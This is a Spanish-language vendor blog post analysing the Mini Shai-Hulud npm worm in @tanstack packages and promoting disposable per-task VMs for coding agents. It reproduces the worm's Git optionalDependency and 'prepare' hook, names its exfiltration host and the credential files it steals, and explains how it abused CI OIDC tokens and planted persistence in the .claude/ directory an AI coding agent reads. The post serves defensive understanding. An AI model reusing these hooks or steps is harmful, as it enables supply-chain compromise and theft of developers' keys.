El gusano que se escribe a sí mismo en .claude
El 11 de mayo de 2026, un gusano de npm llamado Mini Shai-Hulud añadió una línea optionalDependencies a 42 paquetes en el namespace @tanstack. Instalar cualquiera de ellos ejecutó un script de Bun que tomó un token OIDC del entorno de GitHub Actions, lo usó para publicar más versiones comprometidas con procedencia SLSA válida, se copió a sí mismo en .claude/ para la próxima vez que iniciara el agente de codificación, y exfiltró todo desde ~/.aws hasta tu billetera cripto. Los paquetes estaban firmados. La atestación era válida. Aquí está cómo se ve la cadena, y qué cambia cuando el agente que ejecutó la instalación vive dentro de una VM Bromure por tarea.
El 11 de mayo de 2026, entre aproximadamente las 19:20 y 19:26 UTC,
alguien empujó ochenta y cuatro artefactos maliciosos a través de cuarenta
y dos paquetes @tanstack — incluyendo @tanstack/react-router, la
biblioteca de enrutamiento que doce millones de líneas npm install
descargan cada semana. Los paquetes fueron firmados por el pipeline de
release real de TanStack, llevando procedencia SLSA válida, porque el
gusano no robó un token de publicación. Secuestró el runner de GitHub
Actions de TanStack a mitad del build. Y antes de irse, en cada máquina
que instaló una de las versiones malas, escribió una copia de persistencia
de sí mismo en .claude/.
Hay un tipo de ataque de cadena de suministro que se documenta porque
alguien robó la contraseña de un mantenedor. Este no es uno de esos.
La versión de Mini Shai-Hulud que
Aikido,
Socket,
Wiz,
y Snyk
todos atraparon el lunes por la noche no necesitaba una contraseña. Necesitaba
que un desarrollador en algún lugar escribiera npm install en un proyecto
que dependiera, transitivamente, de @tanstack/react-router. El resto —
incluyendo la parte donde la CI de TanStack misma acuñó la firma en el
release malicioso — fue automático.
La mecánica importa, porque la mecánica es lo que hace de este ataque una pregunta sobre a qué tiene las llaves el agente de codificación en tu laptop, en lugar de una pregunta sobre npm. Así que recorramos la cadena.
La línea de JSON.
El primer build malicioso de @tanstack/react-router, versión
1.169.5, contenía un package.json con exactamente esto:
"optionalDependencies": {
"@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}
Una URL de Git, no un paquete npm. Un commit fijado, no un rango de versiones.
El package.json de ese commit, a su vez, contenía:
"scripts": {
"prepare": "bun run tanstack_runner.js && exit 1"
}
Cuando npm instala una dependencia Git, ejecuta el script prepare de
la dependencia. Esto no es un bug; es el contrato documentado, porque
las dependencias Git son usualmente código fuente, y el código fuente
usualmente necesita un build. El && exit 1 es la parte inteligente:
hace que la dependencia opcional falle al instalarse, lo que significa
que npm no la registra en package-lock.json, lo que significa que una
víctima auditando el lockfile un día después no ve nada malo. La carga
útil corrió. El lockfile está limpio.
El runtime, por cierto, es Bun. No Node. npm instalará Bun para ti bajo demanda, así que el gusano ni siquiera tiene que traer el suyo. No hay nada malo con Bun — es un runtime de JavaScript perfectamente razonable — pero su presencia le da al código ofuscado una cadena de herramientas ligeramente menos abarrotada donde esconderse, y eso es, por el momento, lo que quiere el atacante.
Lo que hace el runner una vez que está ejecutándose.
Tres archivos. Cada uno es independientemente malo.
router_init.js es el ladrón de credenciales. Recorre el disco buscando
los sospechosos usuales — ~/.aws/credentials, ~/.npmrc,
~/.docker/config.json, ~/.config/gh/hosts.yml, ~/.kube/config,
~/.ssh/*, y cualquier dotfile cuyo nombre contenga la palabra token —
más la lista que distingue este ataque de los incidentes de cadena de
suministro de 2022: las bóvedas en disco de billeteras de extensiones
de navegador (MetaMask, Phantom, Keplr), los archivos de sesión locales
de Cursor y Windsurf, el propio token del agente sentado en el entorno
del proceso padre, y cualquier archivo de configuración de servidor MCP
en el árbol del proyecto. Lo que encuentre, lo empaqueta en tar, lo cifra,
y lo envía a filev2.getsession.org/file/, un punto de entrega controlado
por el atacante alojado detrás de un servicio de intercambio de archivos
por lo demás legítimo para que la salida parezca un curl a un CDN.
tanstack_runner.js es el propagador. Una vez que ha robado el token
npm de la víctima, enumera los paquetes que ese token puede publicar,
reempaqueta cada tarball con la línea optionalDependencies maliciosa
empalmada en package.json, incrementa la versión, y republica. Esta es
la parte que hace de Mini Shai-Hulud un gusano en lugar de un solo paquete
malo: cada mantenedor que instala una dependencia comprometida se convierte
potencialmente en el próximo atacante.
router_runtime.js es la copia de persistencia. El
análisis
de Socket nota que el runner escribe una copia de sí mismo en el subdirectorio
.claude/ de cualquier proyecto en el que esté sentado, porque .claude/
es el directorio que Claude Code lee al inicio para configuraciones de
ámbito de proyecto, comandos slash, y configuraciones de herramientas.
La próxima vez que el desarrollador abra ese repo en Claude Code — o
peor, la próxima vez que su agente de codificación abra autónomamente
el repo en una máquina recién clonada — el archivo de persistencia ya
está en el árbol de trabajo del agente. El gusano es paciente.
El truco OIDC: cómo un paquete malicioso obtuvo procedencia SLSA válida.
Aquí está la parte que debería mantener despierto por las noches a cualquiera
que ejecute un pipeline de release. El @tanstack/[email protected]
comprometido llegó a npm con procedencia SLSA válida. Sigstore lo firmó.
La API de atestación de GitHub lo bendijo. Si hubieras programado una
verificación que dijera "solo instalar paquetes con procedencia", lo
habrías instalado de todos modos.
La razón es mecánica. La procedencia SLSA no dice "este código es seguro."
Dice "este artefacto fue construido por el workflow cuya identidad OIDC
lo firmó." Para que eso sea una señal de seguridad, el workflow mismo
tiene que estar no comprometido. En este caso el workflow era el workflow
de release real de TanStack — pero un paso antes en el mismo trabajo
ejecutó una dependencia cuyo propio script de instalación (aquí, el script
prepare de un paquete malicioso que el árbol de dependencias de TanStack
ya contenía una versión inyectada por el gusano) había ejecutado dentro
del runner. El runner es un árbol de procesos. El runner tiene la variable
de entorno ACTIONS_ID_TOKEN_REQUEST_TOKEN y la URL
ACTIONS_ID_TOKEN_REQUEST_URL, que es como los workflows legítimos
acuñan tokens OIDC de corta duración. Lo mismo hace cualquier otra cosa
que se ejecute en ese árbol de procesos. El gusano llamó al mismo endpoint,
obtuvo un token con ámbito al repositorio de TanStack, lo usó para publicar,
y Sigstore firmó el resultado porque, desde la perspectiva de Sigstore,
TanStack publicó. El análisis de Socket es directo al respecto: "No confíes
solo en las insignias de procedencia de Sigstore como señal de seguridad."
Esta es la misma lección que los incidentes de LiteLLM y Bitwarden CLI
sobre los que escribimos
hace dos semanas,
reformulada en un registro que pensó que había cerrado la puerta principal.
El lockfile no es una defensa si la carga útil está en prepare. La
firma no es una defensa si el runner del firmante es la carga útil.
Cómo se ve la cadena de extremo a extremo.
La imagen tiene dos propiedades en las que vale la pena detenerse, porque son las propiedades que deciden qué mitigaciones funcionan y cuáles no.
La primera es que cada archivo que lee el gusano es un archivo que
el usuario puso allí para el usuario. Nadie eligió darle a una
biblioteca de enrutamiento acceso a ~/.aws/credentials. La razón
por la que tiene acceso es que el shell que ejecutó npm install
tiene acceso, porque el desarrollador que se sentó frente a ese shell
tiene acceso, y así es como funciona Unix. El agente es, mecánicamente,
una extensión de las manos del desarrollador. Hereda el alcance del
desarrollador.
La segunda es que el paso destructivo no es el robo de credenciales.
Es la escritura de persistencia en .claude/. Un robo puro de credenciales
es un arma de un disparo — rota las llaves y has terminado. Un archivo
de persistencia dentro del directorio de configuración de ámbito de
proyecto del agente significa que la próxima sesión de codificación,
en una máquina recién clonada, con un desarrollador diferente, ejecuta
el gusano de nuevo, con las llaves de ese desarrollador, en la máquina
de ese desarrollador. El radio de explosión no es un laptop. Es el equipo.
La misma cadena dentro de Bromure Agentic Coding.
Bromure Agentic Coding es la configuración en la cual el agente de codificación — Claude Code, el CLI de Cursor, el CLI de Codex, Aider, lo que prefieras — corre dentro de una VM Bromure por tarea, con la carpeta del proyecto montada adentro, y nada más. La VM es el mismo invitado Linux desechable que usa una pestaña de navegador Bromure; el agente solo vive en ella por la duración de una tarea en lugar de por la duración de una carga de página.
Aquí está lo que eso le hace a la cadena de arriba, archivo por archivo.
Mapeando los pasos del gusano a donde mueren.
Recorrer los tres archivos del runner contra las fronteras de Bromure, uno por uno, es la parte donde esto deja de ser un eslogan y empieza a ser una lista de verificación.
router_init.js alcanza las llaves.
El runner lee ~/.aws/credentials, ~/.npmrc, $GH_TOKEN,
~/.config/gh/hosts.yml, ~/.kube/config, ~/.docker/config.json,
y ~/.ssh/id_ed25519. Dentro de la VM Bromure, los primeros cuatro
son stubs — archivos de credenciales sintácticamente válidos que contienen
strings que no significan nada en el internet público. El kubeconfig
también es un stub (o está ausente, si no configuraste un cluster de
Kubernetes para esta tarea). La configuración de Docker es un stub.
La llave privada SSH no está en disco en absoluto; la VM tiene un socket
ssh-agent reenviado cuyo material de llave vive en el Keychain de macOS
en el lado host del hipervisor. El cat ~/.ssh/id_ed25519 del runner
retorna Archivo o directorio no existe y el runner continúa.
¿Qué pasa con MetaMask, Phantom, y Keplr? Esas son extensiones de navegador. Bromure no instala extensiones de Chrome en su navegador para nada — no de manera "curada" o "sandboxeada", simplemente para nada — y la VM por tarea que ejecuta tu agente de codificación tampoco tiene una billetera de escritorio sentada en su sistema de archivos. Las bóvedas de billetera que el runner está buscando viven en tu host, en tu perfil de navegador real, al otro lado de una frontera Linux/macOS que el runner no puede alcanzar.
Los archivos de sesión de Cursor y Windsurf son un caso intermedio interesante. Si estás ejecutando tu agente de codificación dentro de una sesión agéntica de Bromure, entonces "el archivo de sesión de Cursor" es el archivo dentro de esta VM — que es una VM fresca cuya única identidad de agente loggeada es la que acabas de provisionar para esta tarea, con ámbito a este repo, válida para esta tarea. El runner va a exfiltrar ese token. El token es bueno para una tarea en un repo. Cuando la tarea termina, el token se rota. El radio de explosión es lo que el agente ya tenía permitido hacer, que no es nada — ver abajo — pero está lejos de "el atacante ahora tiene toda mi suscripción de AI."
tanstack_runner.js trata de republicar.
Toda la razón de ser del propagador es usar el token npm de la víctima
para publicar más paquetes comprometidos. Dentro de la VM, el token npm
en ~/.npmrc es un stub. El proxy de salida en el host conoce sobre
api.github.com y registry.npmjs.org para el repo real en el que
el usuario está trabajando actualmente, pero no reenvía ciegamente
peticiones de publicación contra paquetes arbitrarios no relacionados
con el token npm real del host. (Si no tienes intención de publicar desde
esta tarea, la lista blanca del proxy no incluye npm para nada.) El
intento de publicación vuelve 401 Unauthorized, y el loop de propagación
del gusano muere en el cable.
Esta es la diferencia entre un intermediario de credenciales y un bind
mount. Un contenedor que monta ~/.npmrc en sí mismo le da al runner
el token de publicación real. Una VM que tiene un stub ~/.npmrc y un
proxy del lado host que conoce la diferencia entre "el agente está
empujando a su propio repo de trabajo" y "algún script está republicando
cuarenta otros paquetes de los que nunca he oído hablar" le da al runner
un 401. Misma entrada. Topología diferente.
router_runtime.js se escribe en .claude.
El archivo de persistencia es el movimiento que convierte un incidente de una pestaña en una pandemia de múltiples pestañas, y es el movimiento al que el modelo de disco desechable de Bromure Agentic Coding es estructuralmente alérgico.
.claude/ vive dentro del árbol del proyecto, que en una sesión de
agente Bromure se monta en la VM al inicio de la tarea. Así que el gusano
escribe exitosamente router_runtime.js en ./project/.claude/. Ese
archivo ahora es parte del árbol de trabajo de tu repo. También está,
dependiendo de la configuración de tu tarea, o (a) dentro del disco CoW
desechable de la VM y a punto de ser eliminado al final de la sesión,
o (b) en el lado host del mount y a punto de aparecer en git status.
En el caso (a) la persistencia se va. En el caso (b) la persistencia
está sentada frente al desarrollador con un diff rojo al lado.
El caso que nadie quiere es el silencioso: el gusano corre en el laptop,
escribe .claude/router_runtime.js, el archivo es npm ignored por
alguna configuración heredada, y la persistencia se queda ahí cargándose
en cada futura sesión de Claude Code en ese repo porque nadie nunca miró.
Ese es el caso que Bromure remueve por defecto — porque o el disco se va,
o el archivo está en el diff visible.
Por qué un contenedor no te lleva aquí.
La misma objeción se aplica que en el análisis de Bitwarden CLI: puedes poner un agente de codificación dentro de un contenedor, y para muchas tareas del día a día eso es genuinamente una mejora sobre ejecutarlo en el host. Pero la frontera no está donde al gusano le importa.
Para hacer un contenedor útil para las cosas que hace un agente de
codificación — para dejarlo hacer git push, gh pr create, npm install
desde un registro privado, empujar imágenes — terminas montando ~/.ssh,
~/.npmrc, y el token de GitHub en el contenedor. El script prepare hace
cat ~/.ssh/id_ed25519 y obtiene el archivo real. Un bind mount es
exactamente el vientre blando que el gusano estaba buscando, y no deja
de ser un vientre blando porque Docker esté involucrado.
Las billeteras de extensiones de navegador importan por la misma razón. Una vez que un contenedor está configurado para ser útil para "raspar el sitio de docs para que pueda resumirlo" o "abrir una vista previa de localhost" — tareas agénticas comunes — su acceso al perfil de navegador real del host se convierte en la pregunta. La VM por tarea de Bromure no tiene tu perfil de navegador dentro. No tiene tu billetera dentro. No tiene tu equivalente de LastPass dentro. El agente habla con un Chromium fresco, sin marca, en el invitado, que es, intencionalmente, el navegador principal de nadie.
Donde esto no te salva.
Dos lugares, y ambos merecen ser nombrados para que no sean sorpresas.
El agente aún puede enviar código malo.
Nada sobre una VM por tarea impide que un agente sea persuadido, por un README envenenado o un servidor MCP que retorna instrucciones de apariencia útil, de hacer commit de una backdoor en tu código y empujarla. La frontera protege credenciales en tu máquina. No revisa el diff. Lee el diff. El trace de sesión hace más fácil saber qué diffs leer.
La lista blanca de salida es todo el juego.
Si tu tarea pone en lista blanca npm publish a tu propio ámbito
porque estás publicando hoy, y casualmente instalas un gusano hoy,
el gusano publicará bajo tu ámbito. El intermediario funciona porque
la lista blanca es estrecha. Hazla estrecha a propósito. Una tarea
que no necesita publicar no debería poder publicar.
El portapapeles aún se comparte por defecto.
Bromure viene con el intercambio de portapapeles entre host e invitado habilitado, porque pegar un mensaje de error en un chat es algo que los humanos necesitan hacer. Si estás haciendo algo sensible dentro de una tarea, aísla el portapapeles para esa VM. El control está ahí. Simplemente no es el defecto.
El trace es tu log de auditoría, no tu IDS.
El trace de sesión captura cada comando de shell, escritura de archivo,
y petición saliente. No clasifica filev2.getsession.org como malo
por sí mismo. Captura que la petición se hizo, para que cuando alguien
publique un análisis como el de Aikido mañana por la mañana, tu grep
tome dos segundos.
Una última cosa.
Hay una versión de esta historia donde la respuesta es "audita tu lockfile." El lockfile estaba limpio. Hay una versión donde la respuesta es "solo instala paquetes con procedencia." La procedencia era válida. Hay una versión donde la respuesta es "usa un contenedor." El contenedor tiene un bind mount.
La versión que realmente resiste a un gusano cuya carga útil corre
antes de que se escriba el lockfile e inside de la CI del propio
publisher es la versión donde el agente que está escribiendo está sentado
dentro de una VM Linux desechable cuyo proxy del lado host mantiene las
llaves reales. El contrato del registro npm no cambia. El hook prepare
aún corre. Bun aún arranca. router_init.js aún hace su barrido. Solo
que barre un invitado cuyos secretos no son los secretos del usuario,
y el disco desechable en el que trata de persistir se va antes del
próximo café.
Bromure Agentic Coding es la configuración donde eso es el defecto. Es gratis, open-source, y se entrega hoy. El próximo gusano ya se está subiendo.